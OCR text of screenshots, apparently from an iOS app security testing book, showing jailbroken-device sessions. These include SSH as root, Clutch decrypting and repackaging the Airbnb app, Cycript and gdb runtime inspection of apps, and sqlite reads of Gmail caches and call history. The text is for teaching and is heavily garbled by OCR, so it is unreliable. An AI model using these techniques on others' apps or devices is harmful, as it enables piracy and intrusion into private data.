http://apt.nodnyi.con stable/main Packages/DiffIndex [53.3kB]
Hit http://cydia.iphonecake.con ./ Packages
http://cydia.z00ttd. con stable/main Packages/DiffIndex [53.0kB]
/eyaia.xsellize.con ./ Packages [432kB]
/apt. thebigboss.org stable/main Packages [1043kB]
Nttp://cydia.z00tte. con stable/main 2013-02-21-2100,40+2013-03-02-2200.39. pdiff [13.9kB]
/apt.modnyi.con stable/main 2013-02-21-1943,27+2013-03-03-0409.41.paiff [65.0kB]
7cydia.zodttd.con stable/main 2013-02-21-2100,40+2013-03-02-2200.39. pdif! [13.9kB]
/cysia.z00ttd. con stable/main 2013-02-21-2100,30+2013-03-02-2200,39. paLff [13.9kB]
/apt.modnyi.con stable/main 2013-02-21-1943.27+2013-03-03-0409.41.pdiff [65.0kB]
60% [15 Packages rred O8] [11 Packages 749kB/1043kB 71x] [10 Packages 87.2kB/432kB 20%]

)
1
2
3
4
s
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Prateeks-iPhone:~ root# ssh root@192.168.2.3
The authenticity of host '192.1668.2.3 (192.168.2.3)" can't
RSA ey fingerprint is 63:ad:bs:cd:2f:52:5e:bb:4c: fa:g0:6f
Are. you sure you want To continue connecting (yes/no)? yes
Warning: Permanently sdded '192.168.2.3' (RSA) to the list
ro0te192.166.2.3'% pazsword:

Prateeks-iPhons:~ roots passud

Changing password for root.

New possword:

Retype new possword:

Pratecks-iphonei~ root |

be established.
+17:88:det3c.

of known hosts.
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Tedteki-iPad:q root# Clutch

Clutch-1.3.1
usage: Clutch [flags] [application name] [...]
Applications available: 12-211-10000 Action Movie Alipay be

autymall BreezeGame CicadaTravelNotes ClassTab
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Last login: Fri May 30 06:56:00 on cons
ZPs-MBP:~ admin$ ssh root@192.168.0.101
root@192.168.0.101's password:
Tedteki-iPad:~ root# ls /usr/bin/

2html@

2xmlx

Tzx

Tzak

Clutchx 477
TQServer

[*

addr2linex
appsearchk
apr-1-config
apt-cachex
apt-cdromk
apt-configx
apt-extracttemplatesx
apt-ftparchivex
apt-get*
apt-key*
apt-markx
apt-sortpkgs*
apu-1-config

git-mailinfo@
git-mailsplit@
git-mergex
git-merge-base@
git-merge-file@
git-merge-indexx
git-merge-octopus*
git-merge-one-filex
git-merge-ours@
git-merge-recursive@
git-merge-resolvex
git-merge-stupid*
git-merge-subtree@
git-merge-treex
git-mergetoolx
git-mktag*
git-mktreex
git-mv@
git-name-rev@
git-pack-objects@

T

nimsk

nmeditk
nohupx
notificationWatcherx
notify_postx
nprocxk
objcopy*
objdumpx
odx

openURL*
opensslx
otoolxk
otool64*
pagesizex

poamn

pastex
patchx
patchsynck
pathchkx
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admlrLf ssh — - 80x24
Last logln' Fr1 May 30 19 18:42 on ttys002
ZPs-MBP:~ admin$ ssh root@192.168.0.101

root@192.168.0.101's password:
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Tedteki-iPad:~ rc

Clutch-1.3.1

Cracking Airbnb...

Creating working directory...

Performing initial analysis...

Performing cracking preflight...

Application is a thin binary, cracking single architecture...

dumping binary: analyzing load commands

dumping binary: obtaining ptrace handle

dumping binary: forking to begin tracing

dumping binary: obtaining mach port

dumping binary: preparing code resign

dumping binary: preparing to dump

dumping binary: ASLR enabled, identifying dump location dynamically

dumping binary: performing dump

dumping binary: patched cryptid

dumping binary: writing new checksum

Censoring iTunesMetadata.plist...

Packaging IPA file...

compression level: 0
/var/root/Documents/Cracked/Airbnb-v2.6.3-(Clutch-1.3.1).ipa

elapsed time: 13073ms
Tedteki—iPad:~ root# B
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wil. Airtel & 3:58 PM 100% B3

S MobileTerminal
| 5202

Change Package Settings >

» Author MobileTerminal »

Important: Protect your jailbreak.
Click Here To Read More.

Samsung GALAXY Sl

Designed for n nature

7 100bestbuy %
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ur_Airtel & 3:45 PM 100% B

Install

BigBoss Recommended ...
1351

_. Change Package Settings >

4 Author BigBoss »

Combined list of hacker tools. Cydia no
longer comes preinstalled with most
useful command line apps. This
package installs most the missing ones
in one swoop. There is no real package
provided here. It is only a set of
depends on other various tools so that
your command line can become useful
again.

Package Details

/1D bigbosshackertools

Search
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at [17608]
at [17608]
at [17608]
at [17608]
at [17608]
at [17608]
at [17608]
at [17608]
at [17608]
at [17608]
at [17608]
at [17608]

(speed ~1.00 mps / course -1.00) @ 05/04/14

at [17608]

2t [17608] <Warning>: -[<MomoLocationManager:
(speed ~1.00 mps / course -1.00) @ 05/04/14

at [17608]

at [17608]
at [17608]
at [17608]
at [17608]

2t [17608]
at [17608]
at [17608]
at [17608]
at [17608]
at [17608]
at [17608]
at [17608]
at [17608]
at [17608]
at [17608]

<Warning> »[(Mnmaanat)onManager: Oxtetsioro
<warning>: ~[<HomoLocat ionManager: 0x1e151870>
<Warning>: -[<HomoLocationManager: 0x1e151876>
<Warning>: +[<HonoLocat ionManager-

updatesServerLocation]
locationFinish]
updateServerLocation]

0xB1dd86> shareMonoLocat ionManager]

<Warning>: = <MomoLocationManager: 0x1e151870>

Warning>: ~[<MomoLocationManager: Ox1e151870> location]

<Harning>: = <+30.EEEE6088,+120. +/- 65.00m (speed ~1.00 mps / course ~1.00) @ 05/04/14 17:44:20 GHT+8:00
<warning>: +[<HonoLocationManager: 0xB1dd8d> shareMonoLocat ionHanager]

<Waroings: .. MonoLocationHanager; 0x1e151870>

<Warning>: ~[<MomoLocationManager: 0x1e151870> starLocationAndCorrectLocat ior

Sarnings: —[<HomoLocat ionManager: Ox1e151870>

SWarnings: —[<HomoLocat ionffanager:

<arning>: ~[<HomoLocationtianager: Ox1e151670>

0x1e151870>

<Warning>: - (<MomoLocationManager: @x1e151870>
<Warning>: -(<MomoLocationManager: 0x1e151870>
<Warning>: -[<MomoLocationManager: 0x1e151870>
Sarnings: = <+30. +120. oEWEE> +/—

<Warning>: ~[<MomoLocationManager: 0x1e151878>

<Harning>: ~[<MonoLocationManager: 0x1e151870>
<#arning>: ~[<MomoLocationManager: 0x1e151870>
<Warning>: = <+30. 120, QEDAS> +/-
<Harning>: —<Mamamc§onnanager 0x1e151870>
<Warning>: = <+30,SNAESGS,+120 +/~
<Warning>: ~[<Homolocationtanager: 0x1e151870>
<darning>: = <+30. +120.0ad60683 +/-
<darning>: = 1

<Warning>: - [<HomoLocationManager: 0x1e151876>

<Warning>: —[<MomoLocationManager
Sarming>t +l<MomolocationManager:

0x1e151870>

9x1¢151670> TocationHanager:<CLLoc
17:44:31 GMT+08:00 frogg

1
setBeginDate:2014-05-04 09:44:31 +3000]
tionManager: @xicd17a8e> didUpdateTolocation:<
B> +/- 65.00n (speed ~1.00 mps

setLocatioff<+3 /- 65.00m (speed ~

.00 mps / course

Ox1cd17200> didupdateToLocation:<

locationManager: .onManager
17544132 GHT+00:00 frontocat ion: <s30. QDT +120. GMEEERG- +/- 65,00n (speed -1.00 mps

setLocatior

1<+30, A9, +120 SR> +/- 65.00m (speed ~1.00 mps / course

stoplocation]
location]

65.00m (speed ~1.00 mps / course -1.00) @ 05/04/14
setReviseLocation:<+30. b‘qzn ANRERENS> +/-
isOriginLocationValid]

location]
65.00m (speed - .00) @ 85/04/14
Tocation]

65.00m (speed -1.00 mps / course -1.00) @ 05/04/14

location]
65.00m (speed ~1.00 mps / course ~1.00) @ 05/04/14

17:44:32 GMT+0B:00
65.00m (speed -1.08 mps /

.00 mps / course 17:44:32 GMT+08:00
17:44:32 GMT+08:00

17:44:32 GMT+0f

setlastlocTine:2014-05-04 09:44:34 +0000]
updateServerLocation]

0x81dd88> shareMomoLocationManager]
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Prateeks-iPhone:~ mobile$ ps
PID TTY TIME CMD
8884 ttys000 0:00.03 -sh
8893 ttys000 0:00.01 ps
8883 ttys001 0:00.02 -sh

Prateeks-iPhone:~ mobile$ [
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all Airtel &

‘ Forget this Network

IP Address

BootP | Static
IP Address 192.168.2.3
Subnet Mask 255.255.255.0
Router 192.168.2.1
DNS 192.168.2.1

Search Domains

Client ID

Renew Lease
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(gdb) info

"info" must be followed by the name of an info command.

List

info
info
info
info
info
info
info
info
info
info
info
info
info
info
info
info
info
info
info
info
info
info
info
info
info
info
info
info
info

of info subcommands:

address — Describe where symbol SYM is stored

all-registers -- List of all registers and their contents

args — Argument variables of current stack frame

auxv — Display the inferior's auxiliary vector

breakpoints — Status of user-settable breakpoints

catch — Exceptions that can be caught in the current stack frame
checkpoints — Help

classes — ALl Objective-C classes

common — Print out the values contained in a Fortran COMMON block

copying — Conditions for redistributing copies of GDB

dcache — Print information on the dcache performance

display — Expressions to display when program stops

extensions —— All filename extensions associated with a source language
files —- Names of targets and files being debugged

float —- Print the status of the floating point unit

fork — Help

frame — A1l about selected stack frame

functions — ALl function names

gc-references — List the garbage collectors references for a given address
gc-roots — List the garbage collector's shortest unique roots to a given addres
handle - What debugger does when program gets various signals

interpreters — List the interpreters currently available in gdb

line — Core addresses of the code for a source line

locals — Local variables of current stack frame

mach-port — Get info on a specific port

mach-ports — Get list of ports in a task

mach-region — Get information on mach region at given address
mach-regions —— Get information on all mach region for the current inferior
mach-task — Get info on a specific task
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(gdb)‘t‘!i;assemble f -
Dump of assembler code for function mach_msg_trap:

0x3a03fead <mach_msg_trap+0>: mov ri2, sp

0x3a03fead <mach_msg_trap+4>: push {r4, r5, r6, r8}
0x3a03fea8 <mach_msg_trap+8>: ldm r12, {r4, r5, ré}
0x3a03feac <mach_msg_trap+12>: mvn ri2, #30 ; Oxle
0x3a03feb@ <mach_msg_trap+16: svc 0x00000080

0x3a03feb4 <mach_msg_trap+20>: pop {r4, r5, r6, r8}
0x3a03feb8 <mach_msg_trap+24>: bx ir

End of assembler dump.

(gdb) disas t__
Dump of assembler code for function mach_msg_trap:

0x3a03fead <mach_msg_trap+0>: mov ri2, sp

0x3a03fead <mach_msg_trap+4>: push {r4, r5, r6, r8}
0x3a03fea8 <mach_msg_trap+8>: ldm r12, {r4, r5, r6}
0x3a@3feac <mach_msg_trap+12>: mvn ri2, #30 ; Oxle

0x3a03feb@ <mach_msg_trap+16: svc 0x00000080
0x3a@3feb4 <mach_msg_trap+20: pop {r4, r5, r6, r8}
0x3a03feb8 <mach_msg_trap+24>: bx ir

End of assembler dump.
]
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(gdb) info stack
#0 ©0x3a03feb4 in mach_msg_trap ()
#1 0x3a04004c in mach_msg ()
#2 0x31c9c044 in __CFRunLoopServiceMachPort ()
#3 0x31c9ad5e in __CFRunLoopRun ()
#4 ©@x31c@debc in CFRunLoopRunSpecific ()
#5 0x31c0dd48 in CFRunLoopRunInMode ()
#6 0x357c@2ea in GSEventRunModal ()
#7 0x33b23300 in UIApplicationMain ()
#8 0x0007899a in ?? ()
#9 0x00052d48 in ?? ()
(gdb) info thread
Thread 1 has current state "WAITING"
Mach port #0x907 (gdb port #0x1303)
frame @: 0x3a@3feb4 in mach_msg_trap ()
pthread ID: @x3bb41bd@
system-wide unique thread id: @x4ee30
dispatch queue name: "com.apple.main-thread"
dispatch queue flags: 0x0
total user time: 18446744071612478320
total system time: @
scaled cpu usage percentage: @
scheduling policy in effect: Ox1
run state: @x3 (WAITING)
flags: 0x0
number of seconds that thread has slept: @
current priority: 47
max priority: 63
suspend count: @.
(gdb) I
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Tedteki-iPad:/ root# ps aux | grep 'Momo'
mobile 5582 0.0 2.7 466616 26988 77 S5 9:01AM  0:04.23 /var/mobile/Applications/EC3FOBFO-E781~4EDF-FER-3277C369CFEC/ HomoChat. app/MomoC
hat

raot 6134 0.0 0.0 273024 492 5000 R+ 10:43M  0:00.01 grep Momo
Tedteki-iPad:/ root# cycript —p 5582

cy# [UIApplication sharedApplication|

#'<ulApplication: @x1ddbB2ae>"

cy# UTApp
#'<iiapplication: Ox1ddba2ass" P
cy# UIApp.applicationIconBadgeNunber=100

100

cy# UTApp. applicationTconBadgeNunber="00
106

cy# a=(UTApplication sharedApplication]
#'<UAgplication: 9x10db82a0>"

cy# a.applicationTconBadgeNunber=/i <=
208
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Tedteki-iPad:~ root# cycript -p SpringBoard <.
cy# function printMethods className) {

cy> var count = new new Type('1"):

cy> var methods = class_copyMethodList objc_getClass(className) caunu{
cy> ver methodsArray = |1:

cy> forlvar i = 0; i < kcount; is+] {

cy>  var method = methods|i):
cy>  methodsArray.push! (selector:method_getName(method), implementation:method_getInplementation method) i :
o> ]

cy>  free(methods);
cy> free(count):
cy> return methodsArray:

o> | (
cy# printMethods (SBAvayController)

Iiselector:@selector hasEverBeenLocked)  implementation:4x106b51) , (selector:@selector (activateLostModeForRemoteLock: | . implemen
@selector (unlockWithSound: ) implementation: 0x10070¢] , {selector:@selector frontLocked:aninate:automatically: |, inplementation:
r(cancelDinTimer) , implementation:6x107515]  {selector:@selectar (activeAwayPluginController)  implementation: 0x113714), {selector
U implementation:0x 112721}, (selector Gselector(isAwayPluginViewVisible)  implementation:0x113571) {selector:@selector (attemp
Uf1fd), {selector:@selector handleSlideshowHardwareButton) , implementation: 0x114c01 ), (selector:@selector (restartdinTiner) inple
or:@selector (preventIdleSleepForNumberOfSeconds: | , implementation: 016739}, {selector:@selector (showTestBulletin) , implementati
ector(cameraIsVisible)  implementation: dx10aiel}, (selector:@selector | shouldReturnToCameraAfterCall), implementation:0x101359) . |
rButtonPress:afterCall dinmed: | implementation:0x10=21), {selector:@selector(cameralsActive)  implementation:x10z601)  (select
plementation: 0107774}, [selector:@selector (attemptUnlockFromSource: |, implementation: 9x10:(9), [selector:@selector|isActivatin
ne0x107a39) {selector:@selector userEventsDidIdle) implementation:0x110629) (selector:@selector (userEventPresenceTimerExpired
Iselector:@selector (updateNowPlayingInfo:app: ), implementation: ¢x111905} , {selector @selector(expectsFaceContact) , implementatio
ctor(cancelReturnToCameraAfterCall)  inplementation: 0101355, {selector-@selector frontLocked:withAnination:automatically: disa
on:6xi0ea0s) , {selector:@selector | relockForButtonPress:afterCall: ) implementation: 0x4990341) , (selector:@selector (isShowingMedi
¥113145) {selector;@selector(deactivateAlertItem: | inplementation: 0x112000) . {selector:@selector setShowcaseController: ) imple
or:@selector(effectiveStatusBarStyle) , inplementation:x111401]  (selector:@selector presentShowcaseViewController: revealMode:c
@x1154¢1}, [selector:@selector showcase: updateRevealMode: withBlock: | inplementation:x11567 1) {selector:@selectar(showcaseWant
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Prateeks-1Poc:/ roots Find L =name .86

+/Library/Appication Support/BTSecver/pincode_defoults.do
./Systen/Library/Franeworks/CoreLocat son. framework/Support/factory.db
+/Systen/Library/Franewarks/CoreLocat ion, franewark/Support/t isezone. db
+/Systes/Library/Franeuorks/CoreTelephony. fromework/Support/1asd. db
«/Systen/Library/Franeworks/CoreTelephany. franevork/Support/plan. db

L /Systen/Library/Privatef raseworks/AppSupport, framewark/CityInfo,db
/Systen/Library/Privatef raseworks/AppSupport. framework/Dutch. Lproj/Localizable_Places.db
</Systen/Library/Privatefraseworks/AppSupport. frasevork/EngLish. Lproj /Local zable_Places. b
+/Systes/Library/PrivateFrameworks/AppSupport. framework/French, Lproj/Localizable_Places.dd

L /Systen/Library/PrivateFraseworks/AppSupport. franework/German, Lproj/Localizable_Places.db
</Systen/LLbrary/PrivateFraseworks/AppSupport. framework/Italian. Lproj/Local szable_Ploces. b
+/Systes/Library/PrivateF raneworks/AppSupport. franework/Japanese. Lproj /Local zable_Places.do
/Systen/Library/Privatef rameworks/AppSupport. framework/Spanish. \proj/Local izable_Places.db
L/Systen/Library/Privatef ranenorks/AppSupport. tramework/ar. \proj/Localizable_Places.db

L /Systen/Library/PrivateFraseworks/AppSupport. framework/ca. 1proj/Localizable_Places.db
+/Systex/Library/Privatef raseworks/AppSupport. framework/calldata. cb
«/Systen/Library/Privatef rameworks/AppSupport, framework/cs. Lproj/Localizable_Places.db

L /5ysten/Library/Privatefrasevorks/AppSupport. franework/da. Lproj/Localizable_Places.db
+[Systen/Library/Privatef raneworks/AppSupport  framework/eL. Lproj/Localizable_Places.,db
«/Systen/Librory/Privatefraseworks/AppSupport . franework/en_GB. lproj/Localizable_Places.db
+/Systen/Library/PrivateF raseworks/AppSupport. framework/fL. pro) /Local zable_Places.db
+/Systen/Library/PrivateFraeworks/AppSupport . franework/he. \proj/Localizable_Places.db
«/Systen/Library/PrivateFraseworks/AppSupport. framework/hr. Lproj/Localizable_Places.db
«/Systen/Library/Privatef rameworks/AppSupport. framework/hu. Lproj/Localizable_Places.
+ISysten/Library/Privatefroseworks/AppSupport. framework/4a. proj/Localizable_Places.db
L /Systen/Library/Privatef raneworks/AppSupport. framework/ko. \proj/Localizable_Places.db
./5ysten/Library/PrivateFrasenorks/AppSupport . franework/es. proj/Local szable_Places.db
L/Systen/Library/PrivateF raseworks/AppSupport. framework/no. \proj/Localizable_Places. db
./Systen/Library/PrivateF raseworks/AppSupport. framework/pl. lproj /Localizable_Places.ob
L/5ystes/Library/PrivateFraseworks/ADpSupport. framework/pt. \proj/Local izable P
+/Systes/Library/Privatef raseworks/AppSupport, framework/pt_PT.1proj/Localizable_Places.db
. /Systen/Library/Privatef raseworks/AppSupport . framework/ro. \proj/Localizable_Places.db
«/Systen/Library/PrivoteF raseworks/AppSupport. frasework/ru. lproj/Localizable_Places.db
/Systen/Library/PrivateFraseworks/AppSupport. framework/sk. \proj/Localizable_Places.db

L /Systes/Library/PrivateF raseworks/AppSupport . framework/sv. \proj/Localizable_Places,db

< /Systes/Library/Privatef raseworks/AppSupport. framework/th. Lproj /Localizable_Places. db
L/Systes/Library/PrivateFraneworks/AgpSupport. framework/tr. proj/Localizable_Places.db
+/Systea/Library/Privatef raveworks/AppSupport. framework/uk. proj/Localizable_Places.db
+/Systen/Library/PrivateFraveworks/AppSupport. framework/vi. 1proj /Localizable_Places. db
L/5ysten/Library/Privatef razeworks/AppSupport. framewark/zh_CN. tproj/Localizable_Places.db
L/Systes/Library/PrivateF raseworks/AppSupport. framevork/zn_TW. 1proj/Localizable_Places. db
+/private/vor/Keychains/keychain-2,0b

J/private/var/db/launchd. db






OEBPS/Images/e3b5519e.jpg
PT T mes A Masacl b Gt

t, ps aux | grep 'Momo

0. 77 S 8:25A4  0:03.48 /var/mobile/Applications/ECIFOBFO~E781-4EDF-GFER-3277CI69CFBC/MomoChat . app/MomoC

0.0
root# I

273024 404 5000 Re  B:26AM  O:

00 grep Mono
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cy# function printMethods(className) {

> var count = new new Type("I");

cy> var methods - class_copyMethodList(objc_getClass(classNane], count);
cy> var methodshrray - [1;

cy>  for(var 1= 8 i< scount; 1+) {

cy>  var method - methods[il;
cy>  methodsArray.push({selector:method_getNane(nethod], implementation:method_getInplementation(nethod)});
o 1

ey>  free(methods);
cy>  freefcount)
Gys retur methodsArray;
o>l
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Handle support files—files your application downloads or generates and can recreate as needed—in one of two ways
a I i0S 5.0 and earlier, put support files in the <Application_Home> /i brary/Caches directory to prevent them from being backed up

@ Ini0S 5.0.1 and later, put support files in the <Application_Home> /Libzary/aoplication Support directory and apply the con. apple . Mobi leBackup extended attribute
to them. This attribute prevents the files from being backed up to iTunes or iCloud. If you have a large number of support files, you may store them in a custom subdirectory
and apply the extended attribute to just the directory.

Put data cache files in the <Application_Home>/Library/Caches directory. Examples of files you should put in this directory include (but are not limited to) database cache files
and downloadable content, such as that used by magazine, newspaper, and map apps. Your app should be able to gracefully handle situations where cached data s deleted by the
system to free up disk space.
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cy# rootVe - UIApp. keyWindow. rootViewController
2"<UINavigat ionControllers 0x150090>"

cy# rootve.visibleviewController

" <ViewController: 0x1b0ce>!

eve
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Tedteki-iPad:/ root# dpkg -i gdb-1821.deb
(Reading database ... 3484 files and directories currently installed.)
Preparing to replace gdb 1821 (using gdb-1821.deb) ...

Unpacking replacement gdb ...

Setting up gdb (1821) ...

Tedteki-iPad:/ root# [
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Prateeks—iPad:/private/var/mohile/Applications. root# cd 98GEASEG-TAS-ADAA-SFCI-18R21CITEIEG
Prateeks-iPod:/private/var/nobile/Applicat ions/OD6BASED-7ADB-4DBB-8F(3-18821CITETEG root# s
Bocunents/ Library/ Snapchat.app/ iTunesArtwork iTunesMetadata.plist tmp/

Prateeks-iPod:/private/var/mobile/AppLications/9B6BASEB-7ADB-4DBB-BFC3-18821C37ETEG root# I
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cy# UIApp.keyWindow. rootViewController
"<UINavigationController: Ox1b0930>"
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(gdb) info registers

ro

rl

r2

r3

r4

r5

ré

r7

r8

r9

rie

ril

ri2

sp

ir

pc

cpsr
0x40000010,
n = 0x0,
z = 0x1,
c = 0x0,
v
q = 0x0,
j = oxe,
ge = 0x0,
e = 0x0,
a = 0x0,
i=oxo0,
f = 0x0,
t = 0x0,

mode = 0x10

0x10004005
0x7000006

2x0 ]
0xc00 3072
0x1de3 7427
oxfFFfffff
2x0 ]
0x2fdb6ead
0x0 0
0x56600 353792
oxffffffff
0x0 ]
oxffffffel
0x2fdb6e60
0x3a04004d
0x3a03febd

{

268451845
117440518

-1

802909856

=i

-31

802909792
973340749
973340340
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sqlite> select * from cached_messages;
nessageld|conversat ionTd |activityls| isUnread| LsStarres | isTnbox| isSpan| 1sTrash| isHuted] isPhishy | isDraft | isActivity | sHInbox personallevel |subject | snippethtnl address_fron|address_tofaddress_ceaddress_bee
address_replyTo| receivedDatells |body| 15CLipped| attachnents| hasExternalInages | hasStrippedExternalInages | inagesAluaysDisplayed|uploadedAttachnents| locallpdate | TastArt ion|orint |entityRefId|spantie
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{cyshasInplicitProperties;@x4224170,"_installAppearancesuizzleForsetter:";8x32022741, "cance P reviousPer fornRequestshithTarget: " :0x37b5dchd, "cancelPreviousPerfornRequestshithTarget
selector:object:":0x37644924, " inplementsSelector: *:8x37b01815, initialize:8x37b4757d, Load:8x37b61099, version: 8x37ba1Br5, "setversion: " :0x37b75699, "instancesInplementse Lector: " :8x37b3
1729, classForKeyedUnarchiver:8x37b55109, classFal LbacksForKeyedArchiver:0x37b56388, _shouloAddObse rvat ionForwardersForkey: ":0x37bBe815, 'setKeys: triggerChangeNot if icat ionsForDependen
tkey:":8x37bc6655, "autonatical LyNotifiesObserversForkey: " :8x3777871, “KeyPathsForValuesAffect ingValueForKey: " :8x37bdefcs, "_keysForvaluesaffectingvalueForkey:":8x37b47825,"_createva
LusGetterWithContainerClassID: key: " :0x37b5b701, " _createValusSetterdithContainerClass1D: key: " +0x37b6922d, " _createValuePr initiveGetterWithCantainerClassID:key: " :0x37b70761, "_createya
LuePrimitiveSetteruithContainerClassiD: key: " :0x37b78435, " _createMutableDrderedSetvalusGet terdithContainerClassID: key: " :0x37679181,"_createMutableSetyalusGetteruithContainerClassID.
£0x37b79820, "_createDtherValusGet teruithContainerClassID: key: " :0x37b70069, "_createDtherValueSetteruithContainerClassID: key:" ax37b785ed, accessInstanceVar iablesDirect ly:0x37678
'_createtutablaArrayValueGetterk ithtontalnerClassT0: key: " :0x37b78831, "CA_automat LcallyNot1T1esObservers: ":0x34007050, "CA_encodePropertyConditionally: type: ":0x33771809,"CA_gette
rForType:":0x34007459, "CA_setterForType: " ;0x34007d55, "CA_CAMLPropertyForKey:  :0x34007d61, " isKeyExc LudedFromWebScript: ' :0x36710035, " 1sSelectorExc ludedF romiebScr ipt " :0x36710031, _web
kit_invokeOnMainThread:0x3670bba1, new: 0x321e3b45, "isSubcLass0fClass: :0x32280c50, “nethodSignatureForSe Lector: :0x32220e35, nutableCopy:0x3228Bee, “nethodForSe Lector: :0x32200489, in
stanceMethodForSe Lector: " :8x321{3a01, " forwardInvocat Lon: " :8x32288bb8, " instanceMethodSignatureForSe ector: ":0x321e2665, finalize:0x32288e41,al lowsWeakReference :8x32288¢38, retainheakR
eference:x3228Bcad, _tryRetain:0x32288c01, _isDeal locating:x322BBc35, " instancesResponaToselector: " :0x32228641, “mutableCopybiithZone: ' :8x3228Beed, “forwardingTargetForselector: ' :8x322
88c29, " 1sAncestor0fObject:" :0x3228884d, 1sFault :0x32288874, " resolveClassMethod: " :0x3217dbfs, " resolvelnstanceMethod: " 10x321de5a1, _copyDescription:0x32288cde, "doesNotRecognizeselector
0532288881, a1 LochithZope: " :0x32149b85, deal loc: 8x32288595, init:0x32288ce8, autore Lease : 2x3228Bcdd, " copyWithZone: " :8x32216cc5, release:8x3214¢181, al loc: 8x321.ce271, "per formse Lector
withObject withObject : " :8x32288500 , copy:8x32288ee5 , retain:ax3210cb15, debugDescript ion:0x32288c20 , descript ion: 0x322065¢1, retainCount :0x32288ce1, "respondsToSelector: " :0x3211c163, "con
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Prateeks-iPod:/ root# sglite3 ./private/var/mobile/Applications/A91FARBD-AGEF-429E-BEAF-202380031031/Library/Caches/https_mail.google. com_0/0000000000000001.cb
SQLite version 3.7.7

Enter ".help" for instructions

sqlites .headers on

sqlites .tables

__WebKitDatabaseInfoTable__ cached_nessages
action_queue_32 cached_queries
cached_contacts config_table
cached_canversation_headers hit_to_data
cached_Labels Tog_store
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When a message is sent to an object, the messaging function follows the object’s isa pointer to the class structure where it looks up the method selector in the dispatch table, If it
can't find the selector there, objc_nagtend follows the pointer to the superclass and tries to find the selector in its dispatch table, Successive failures cause ob to climb
the class hierarchy until it reaches the N505 ject class. Once it locates the selector, the function calls the method entered in the table and passes it the receiving object's data
structure.

This is the way that method implementations are chosen at runtime—or, in the jargon of object-oriented programming, that methods are dynamically bound to messages.
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Figure 3-1 Messaging Framework
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root# sqlite3 ./private/var/mobile/Applications/A91FADBD-ABEF-429E-BEAF-2D2380031D31/Library/Caches/https_mail.google. con_0/0000000000000001. dbll
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cy# printMethods (ViewController)

[{selector:aselactor (validateLogin) , inplenentation:8x5a635}, {selector:a=|ector (pushLoginPage) , inplementat ion:8xSa76d} , {selector asele.
(loginTapped: ) , inplenentat ion: 0x3a420} , {selector:aselector (login2Tapped: ), inplenentat ion:0x5a4ed} , {selector:ase loctor (setPasswordTextField
), inplenentation: 0x5a7b0} , {selector:&se ector (setUsernaneTextField: ), inplenentat ion:0x5a821}, {selector: ase ector (d1dRece iveMenoryWarning)
,inplementation:0x5a311}, {selector:2sa l=c tor (viewdidLoad) , inplementat ion:0x52371}, {selectorsesel,

53781}, {selector:eselector (usernaneTextField) , inplenentation:0x5a805}, {selector:.
o

or (passwordTextField), inplementation: bx
57 (gealloc) , inplementation:0x5a425}]
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Prateeks-iPod:~ root# cd /private/var/wireless/Library/CallHistory
Protesks-1Poc: /private/var /wireless/Library/CallHistory roots U
call_history.db
Pratecks-iPod: /private/var/wireless/Library/Calliistory root# sqlite3 call_history.db
SLite version 3.7.7
Enter “.help" for instructions
sqlites .headers on
sqlites . tables
_SaliteDatabaseProperties data
all
sqlites select * from call
AoWTD ! +lags| 19 |nane | count ry_code | network_code
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j UlextField" _usemameTexiField;

JiProperties
@property (retain,nonatomic) Ul TextField usemameTextField; // =_usemameTextField
@property (retain,nonatomic) UiTextField passwordTextField; // = passwordTextField
JiMethods

- (bool) validateLogin;
- (void) pushLoginPage;
- (void) loginTapped: id)arg0;
- (void) login2Tapped: (idjarg0;
- (void) setPasswordTextField: idjarg0;
- (void) setUsemameTextField: (id)arg0;
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- (void) viewDidLoad:
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JiClasstype: App-Class
Jinstances: 0x17aa80

@Interface AppDelegate : UlResponder<UlApplicationDelegate> //Protocols {
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) UiWindow" _window;
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@property (retain,nonatomic) UIWindow* window; /
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- (id) window;
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~deb)
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Prateeks-MacBook-Pro:~ prateekgianchandanis ssh rootg18.8.1.78
r00te10.0.1.79's password:

Prateeks-iPod:~ root# ps aux | grep "Method”
mobile 628 .0 2.2 338640 5724 77 Ss  5:00PM  0:00.41 /var/mobile/Applications/OFFO100D-CEC1-4515-
A793-BD3616220E12/MethodSwizz LingDemo. app/MethodSwizz 1 ingbemo

root 538 0.0 0.0 273932 5000 R+  5:00PM  0:00.00 grep Method

Prateeks-iPod:
eve ll

root# cycript —p 628
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o 9 MOV #(_content - 0xB50) ; _content
7] wite : xon BT content ; char *
2 MOVS 1
: ov §(_findhoad - 0x260) ; _findhead
s a0 PC; findhead
34 STR (R2]
. Lon I8 #0ma0tvaz 18] char *
4 BLX strep)
£ R0, (55, t0xa0+var_64]
" } CODE XREP: _replace SSirite+s2
Line 16123

\U: e Down
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7/ ViewController.m
71 Alertdeno

#import "ViewController.h"

einterface ViewController ()

@end

@inplenentation ViewController

= (v
<

¥

/0id)viewdidLoad

[super viewdidLoad];
/7 Do any additional setup after loading the view, typically from a nib.

UIAlertview xalert =
[[UTATertView alloc] initWithTitle:@"Welcone"

telcone to your 105 Device Ted:"
2}

cancelButtonTitle:@"security. ios-wiki. con'
btherButtonTitles:nill;

fatert showl;

5 ntmnacan R A

@end

[super didReceiveMemoryWarning] ;
/1 ispose of any resources that can be recreated.





OEBPS/Images/4aa3207d.jpg





OEBPS/Images/4cda9ebb.jpg
2ZP5-HBP: fosecurity
Making all for tweak
Preprocessing Tweak. ...

Compiling Tweak.xm.
Linking tweak iosecurity.
Stripping iosecurity...

Signing iosecurity..
ZPsHBP: fosecurity adiiing make package
Making all for tweak LSeCUrcy-

make[2]: Nothing to be done for °internal-library-conpile'.
Making stage for tweak iosecurity...

dpkg—deb: building pa y.iosecurity' in *./com.yourcompany. iosecurity_8.0.1-3_iphoneos-arm.deb'.
2ZP5-HBP: iosecurity adm n$ make install

install.exec "cat > /£ipr=CreUs=HseGeeracb; dpkg ~i /tmp/_theos_install.deb & rm /tmp/_theos_install.deb" < "./com.yourcompany. iosecurity_0.0.1
. deb"

r00t@10.68.141.146's password:

(Reading database ... 3404 files and directories currently installed.)

Preparing to replace com.yourconpany. iosecurity 8.0.1-2 (using /tnp/_theos_install.deb) ...

Unpacking replacenent com.yourcompany. iosecurity
Setting up com.yourconpany. iosecurity (6.0.1-3) .
install.exec "killall -9 SpringBoard”
root@10.68.141.146's password:
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be used in a commercial project.

The IDA computer programs, hereafter described as "the software"
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terms and conditions of this Agreement. Hex-Fays SA reserves any
fight not expressly granted to you. You own the media on which the
software is delivered but Hex-Rays SA retains ownership of all
copiesof the softwareisef. The soffware is protected by copyright
jaw.

The software is licensed on a “per user" basis. Each copy of the
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computers. This license also allows you to

